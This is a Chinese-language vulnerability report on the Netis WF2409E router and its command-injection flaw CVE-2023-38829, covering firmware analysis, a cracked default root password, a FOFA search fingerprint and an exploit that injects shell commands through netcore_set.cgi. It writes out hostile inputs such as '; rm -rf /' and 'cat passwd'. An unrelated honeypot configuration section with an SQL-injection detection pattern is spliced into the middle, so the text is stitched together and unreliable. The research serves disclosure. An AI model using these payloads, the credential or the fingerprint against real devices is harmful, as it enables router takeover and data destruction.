Netis WF2409E 设备报告

1. 设备概述

1.1 主要规格表

1.2 功能检查表

1.3 主要系统组件

2. 接口研究

2.1 通过串口连接设备

3. 启动日志、引导加载程序和操作系统命令

3.1 启动日志分析

处理器特性

Flash 存储器特性

引导加载程序信息

默认网络设置

系统软件信息

服务状态

值得注意的是，该设备可能未使用 U-Boot。关键特征如下：

1. 日志直接以 RealTek 启动信息开头：---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/master/380MHz)
2. 缺少典型的 U-Boot 启动特征：
   • 无 U-Boot 版本信息
   • 无 U-Boot 环境变量初始化信息
   • 无 U-Boot 命令行提示
3. RTL8196E 是 RealTek 的低成本路由器芯片，许多基于该芯片的设备使用 RealTek 自有引导加载程序而非 U-Boot。
4. 考虑到 Flash 容量小（4MB），使用轻量级引导加载程序更合理。 实际上未能找到进入 U-Boot 的方法。

3.2 引导加载程序分析

进入引导加载程序需要在启动时按住 Esc 键：

RealTek 引导加载程序完整命令集

内存读取示例：

Bootloader 命令：

<RealTek> FLR 80000000 0 100 #从 Flash 读取 <RealTek> DB 80000000 100 #查看内存内容

3.3 Shell 环境分析

基本 Shell 命令

系统目录详细结构（/bin — 重要工具）

/proc 目录关键信息

进程列表：

3.4 主要硬件组件描述

4. 挂载点信息分析

4.1 获取分区挂载信息

4.2 系统定义了三个主要挂载点：

• /dev/mtdblock1 挂载为根目录 /
• none 挂载为进程文件系统 /proc
• tmpfs 挂载为临时文件系统 /var

详细分析

4.2.1. 根文件系统

根文件系统配置如下：

• 设备：/dev/mtdblock1
• 文件系统类型：squashfs
• 挂载选项：只读 (ro)
• 用途：存储系统文件和程序

这表明使用 MTD Flash 作为存储介质，通过只读和 squashfs 压缩保护系统文件并优化空间。

4.2.2 进程文件系统

进程文件系统配置如下：

• 设备：none（虚拟文件系统）
• 文件系统类型：proc
• 挂载选项：读写 (rw)
• 用途：提供访问系统和进程信息的接口

4.2.3 临时文件系统

临时文件系统配置如下：

• 设备：tmpfs（内存文件系统）
• 挂载点：/var
• 大小限制：230 KB
• 挂载选项：读写 (rw)
• 用途：运行时存储临时文件和数据的目录

4.2.4 发现系统中大部分命令缺失

5. 固件结构与格式

5.1 获取固件 "netis.bin"

5.2 进行熵分析：

binwalk -E --save netis.bin

5.3 分析头部信息：

binwalk netis.bin

5.4 使用参数 –reM 进行解包。

得到结果：

5.5 分析结果表

偏移量	分区头部
0x12F0
0x32818

6. 固件解包后的文件系统

6.1 解包后的文件系统：

6.2 一些重要文件

6.2.1 etc/passwd:

使用哈希解密服务 https://hashes.com/en/decrypt/hash，成功恢复 root 密码为 realtek。

6.2.2 web/welcome.htm:

这是默认的 Web 界面页面

7. FOFA 的标记、指纹与统计信息

通过 web/welcome.htm 中的特征在 FOFA 中搜索设备：

搜索命令： body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

访问设备管理面板可能需要使用用户名和密码进行身份验证

成功认证后，可以进入管理面板

8. 识别脚本

首先使用命令 ~/squashfs-root/web$ find 找到可用目录，并通过 Burpsuit 检查其可访问性：| | 路径 (Payload) | 代码 (Code) | | 长度 (Lenth) | | ------ | ---------------------------- | -------------- | ----- | ------------ | | 1 | /cgi-bin | 200 | | 167 | | 2 | /cgi-bin/cgitest.cgi | - | ERROR | - | | 3 | /script | 200 | | 168 | | 4 | /script/init.js | 200 | | 1282 | | 5 | /script/logic.js | 200 | | 65677 | | 6 | /script/menu.js | 200 | | 4976 | | 7 | /script/netcore.js | 200 | | 151935 | | 8 | /script/action.js | 200 | | 182624 | | 9 | /script/debug.js | 200 | | 28570 | | ==10== | ==/version.txt== | ==200== | | ==206== | | ==11== | ==/update.htm== | ==200== | | ==1230== | | 12 | /config | 200 | | 168 | | 13 | /config/language_es.js | 200 | | 79333 | | 14 | /config/language_it.js | 200 | | 76802 | | 15 | /config/language_id.js | 200 | | 74795 | | 16 | /config/language_du.js | 200 | | 78782 | | 17 | /config/language_ma.js | 200 | | 73594 | | 18 | /config/language_po.js | 200 | | 76458 | | 19 | /config/language_tu.js | 200 | | 77747 | | 20 | /config/language_fr.js | 200 | | 78165 | | 21 | /config/language_ro.js | 200 | | 73621 | | 22 | /config/language_cz.js | 200 | | 75968 | | 23 | /config/language_ua.js | 200 | | 98335 | | 24 | /config/language_us.js | 200 | | 84173 | | 25 | /config/config.js | 200 | | 75899 | | 26 | /config/language_ru.js | 200 | | 108998 | | 27 | /config/language_de.js | 200 | | 78674 | | 28 | /config/language_pt.js | 200 | | 77954 | | 29 | /config/language_cn.js | 200 | | 62001 | | 30 | /config/language_tc.js | 200 | | 74268 | | 31 | /system_log.txt | 404 | | | | ==32== | ==/index.htm== | ==200== | | ==4336== | | 33 | /css | 200 | | 167 | | 34 | /css/style.css | 200 | | 5441 | | 35 | /css/netcore.css | 200 | | 11536 | | 36 | /css/welcome.css | 200 | | 6270 | | 37 | /Config.tgz | 404 | | 326 | | 38 | /images | 200 | | 168 | | 39 | /images/first.png | 200 | | 838 | | 40 | /images/icon_no.gif | 200 | | 240 | | 41 | /images/top_right_bg.gif | 200 | | 222 | | 42 | /images/logo_netis.png | 200 | | 7297 | | 43 | /images/icon_jian.gif | 200 | | 239 | | 44 | /images/show_pwd.png | 200 | | 1433 | | 45 | /images/icon_no1.gif | 200 | | 498 | | 46 | /images/nextt.png | 200 | | 1026 | | 47 | /images/lastt.png | 200 | | 845 | | 48 | /images/icon_intro_internet.gif | 200 | | 6994 | | 49 | /images/help_b1.gif | 200 | | 540 | | 50 | /images/high.gif | 200 | | 10846 | | 51 | /images/yandex_en.png | 200 | | 3519 | | 52 | /images/help_b1.jpg | 200 | | 620 | | 53 | /images/back.gif | 200 | | 379 | | 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 | | 55 | /images/icon_jian1.gif | 200 | | 490 | | 56 | /images/left_021.jpg | 200 | | 558 | | 57 | /images/edit.gif | 200 | | 365 | | 58 | /images/pre.png | 200 | | 1029 | | 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 | | 60 | /images/icon_now.gif | 200 | | 242 | | 61 | /images/top_right_bg.jpg | 200 | | 223 | | 62 | /images/bg_intro_bottom.png | 200 | | 3562 | | 63 | /images/favicon.ico | 200 | | 4458 | | 64 | /images/btn_quick_setup.jpg | 200 | | 4353 | | 65 | /images/bg_intro_top.png | 200 | | 3605 | | 66 | /images/mt-link.gif | 200 | | 5823 | | 67 | /images/link.gif | 200 | | 1045 | | 68 | /images/del.gif | 200 | | 313 | | ==69== | ==/images/Makefile== | ==200== | | ==593== | | 70 | /images/icon_jia1.gif | 200 | | 490 | | 71 | /images/blue.jpg | 200 | | 2584 | | 72 | /images/normal.gif | 200 | | 10818 | | 73 | /images/yandex.png | 200 | | 2159 | | 74 | /images/bg_leftmenu.gif | 200 | | 686 | | 75 | /images/icon_jia.gif | 200 | | 252 | | 76 | /images/icon_now1.gif | 200 | | 487 | | ==77== | ==/welcome.htm== | ==200== | | ==30155== | | ==78== | ==/index.html== | ==200== | | ==326== | | 79 | /help | 200 | | 166 | | ==80== | ==/backup.htm== | ==200== | | ==1304== |

潜在的信息存放位置：

检查后，我们可以在 ==/version.txt== 文件中找到以下信息：

• 固件版本
• 构建日期
• Boa 服务器信息（来自响应 HTTP 头中的 Server 字段）

该信息的提取通过 Python 脚本实现：

9. CVSS 漏洞列表

9.1 漏洞列表

目前在该设备中发现了以下漏洞，其中 CVE-2023-38829 是存在于 NETIS SYSTEMS Router WF2409E 路由器网络测试模块的 ping 和 traceroute 功能中的命令注入漏洞。通过 Web 管理界面，可以在这些功能的参数中注入恶意命令，导致命令执行。

9.2 漏洞验证

为了验证该漏洞的存在，我登录了路由器管理面板，并在 ping 和 traceroute 功能中测试了漏洞。 这里我注入了命令 cd && ls && cd etc/ && cat passwd，该命令输出了密码文件的内容。

以下是在注入命令时路由器管理面板的输出，确认了漏洞的存在。

9.3 CVSS 漏洞评分

CVSS 3.1 分析发现的命令注入漏洞：

1. 基本指标评分：

   • 攻击向量 (AV): 网络 (N)，因为可远程利用
   • 攻击复杂度 (AC): 低 (L)，仅需发送 HTTP 请求
   • 所需权限 (PR): 低 (L)，需要基本用户权限（在设备管理界面认证）
   • 用户交互 (UI): 无 (N)，不需要用户操作
   • 影响范围 (S): 已改变 (C)，可能影响连接到路由器的其他设备

2. 影响指标：

   • 机密性影响 (C): 高 (H)，可能获得对系统的完全访问
   • 完整性影响 (I): 高 (H)，可能修改任何系统文件
   • 可用性影响 (A): 高 (H)，可能影响设备运行

3. 时间指标评估：
   • 利用代码成熟度 (E): 存在功能性利用代码 (F)
   • 修复级别 (RL): 官方修复 (O)
   • 报告可信度 (RC): 已确认 (C)

最终评分：9.2/10，属于“严重”等级。 CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

漏洞评分如此之高是由于以下原因：

• 无需特殊条件即可远程利用
• 无需认证即可获取 root 权限
• 对系统安全性的全面影响
• 漏洞利用简单

10. 弱漏洞分析（缓冲区溢出或命令注入）

首先，让我们找到可能包含漏洞的文件： find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

我假设漏洞可能出现在 CGI 程序中，因此首先尝试使用 IDA Pro 分析文件 ./web/cgi-bin/cgitest.cgi。

首先需要找到类似函数的调用位置，通过搜索找到了字符串 "killall ping"。 在分析调用位置时，可以看到程序在初始化 ping 和 traceroute 函数后调用了 /bin/network_test.sh

而漏洞所在的位置正是网络测试模块。好的，我们需要分析 /bin/network_test.sh。

network_test.sh 分析

首先需要执行搜索。

找到函数 network_test_sh： ......

在详细分析函数时，可以发现命令执行和结果保存模块。

其中：ping 命令执行：ping -c %d -s %d %s -W %d > %s &

• ping 参数：
  • -c: ping 次数
  • -s: 数据包大小（减去 8 字节）
  • -W: 超时时间
  • 来自配置的目标 IP 地址

traceroute 命令执行：traceroute -I -m %d %s > %s &

• traceroute 参数：
  • -I: 使用 ICMP 协议
  • -m: 最大跳数
  • 来自配置的目标 IP 地址

漏洞详细分析```

Ситуация с командой ping

loc_4205B8: lw v0, 0x108+var_D4(sp) #прямая загрузка параметров lw a3, 0x108+var_D8(sp) la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf

## 配置

- **honeypot_config.yaml** — 主要配置文件。
- **server_config.yaml** — Web服务器设置（端口、TLS、超时）。
- **rules/** — 包含检测规则YAML文件的目录。
- **modules/** — Web应用模块（WordPress、Joomla、Drupal、Roundcube等）。
- **config_extended.yaml.example** — 扩展配置示例。

### 环境变量

| 变量 | 描述 | 默认值 |
|-----------|----------|--------------|
| `LOG_DIR` | 日志目录路径 | `/var/log/honeypot` |
| `DATA_DIR` | 数据目录路径（数据库） | `/var/lib/honeypot` |
| `CONFIG_DIR` | 配置目录路径 | `/etc/honeypot` |
| `INTERFACE` | 监听网络接口 | `0.0.0.0` |
| `PORT_HTTP` | HTTP端口 | `80` |
| `PORT_HTTPS` | HTTPS端口 | `443` |
| `TLS_CERT` | TLS证书路径 | `cert.pem` |
| `TLS_KEY` | TLS密钥路径 | `key.pem` |
| `DEBUG` | 启用调试 | `false` |

### 配置示例

```yaml
honeypot:
  name: "my-honeypot"
  version: "1.0"
  log_level: "info"
  modules:
    - wordpress
    - joomla
    - drupal
  rules:
    - sql_injection
    - xss
    - lfi
  server:
    listen: "0.0.0.0:8080"
    tls:
      enabled: true
      cert: "/etc/honeypot/cert.pem"
      key: "/etc/honeypot/key.pem"
    timeout: 30

检测规则配置

规则存储在 rules/ 目录中。每条规则是一个单独的YAML文件。示例：

rule:
  id: "sql_injection"
  name: "SQL Injection"
  severity: "high"
  pattern: "(?i)(select|union|insert|drop|delete|update|alter|exec|--|#)"
  description: "检测SQL注入"
  action: "block"
  threshold: 3
  interval: 60

Ситуация с командой traceroute

loc_420574: la $t9, sprintf #также прямой вызов sprintf lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров

(No input provided)```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

代码中缺乏对输入参数的充分验证，存在潜在的命令注入风险。攻击者可以控制传入的IP参数来执行shell命令，例如：```

Нормальный ввод 192.168.0.1

Примеры вредоносного ввода

192.168.0.1; rm -rf / #удаление файлов 192.168.0.1 & id & #выполнение произвольных команд

## 11. 利用脚本

### 11.1. 脚本概述

此脚本利用设备Web界面的命令注入漏洞，通过构造特殊的HTTP请求来远程执行命令。该脚本通过两个HTTP POST请求进行漏洞利用：第一个请求注入命令，第二个请求获取执行结果。

第一个数据包 (netcore_set.cgi) 用于：注入并执行命令
![](https://assets.kitploit.com/production/public/readmes/21494/3db1e4bb1625a72b26cf65e34b5458e7cc2d72407c5a30e5f9b50e8e6f56fde0.png)

第二个数据包 (netcore_get.cgi) 用于：获取命令执行结果
![](https://assets.kitploit.com/production/public/readmes/21494/081d07560f28c436263826ed835451190be48c57c9f45ceb55b690cc7c687c66.png)

### 11.2 第一阶段：命令注入

1. 构建包含以下关键参数的POST请求体：```
{ "mode_name": "netcore_set", 
	 "tools_type": "2", 
	 "tools_ip_url": f"| {command}", # точка инъекции команды 
	 "tools_cmd": "1", 
	 "net_tools_set": "1" }

2. 对所有参数进行 URL 编码
3. 向 netcore_set.cgi 发送 POST 请求

11.3 第二阶段：获取结果

1. 构建第二个 POST 请求：``` { "mode_name": "netcore_get",
   "noneed": "noneed" }

2. 向 netcore_get.cgi 发送请求
3. 解析响应中的 tools_results 字段以获取命令执行结果

### 11.4 测试脚本

为了测试脚本，我在主机上创建了文件 `ceshi`，并尝试通过脚本将其上传到设备

![](https://assets.kitploit.com/production/public/readmes/21494/5197cbc5dc13aa8a1533cd2daed4beaf518db96f195a0764469b807253893e98.png)![](https://assets.kitploit.com/production/public/readmes/21494/9ecf4ce6fefcee7cd5954fe2e0b468d0e1e8b88dd5f0d87397931e44d0089b55.png)![](https://assets.kitploit.com/production/public/readmes/21494/6ca6ac3de6b522974f773445633333d9b7eaeecef9099bbea45f7d7fe496591d.png)

成功！

实际上，该漏洞允许完全控制设备，因为设备默认使用 root 权限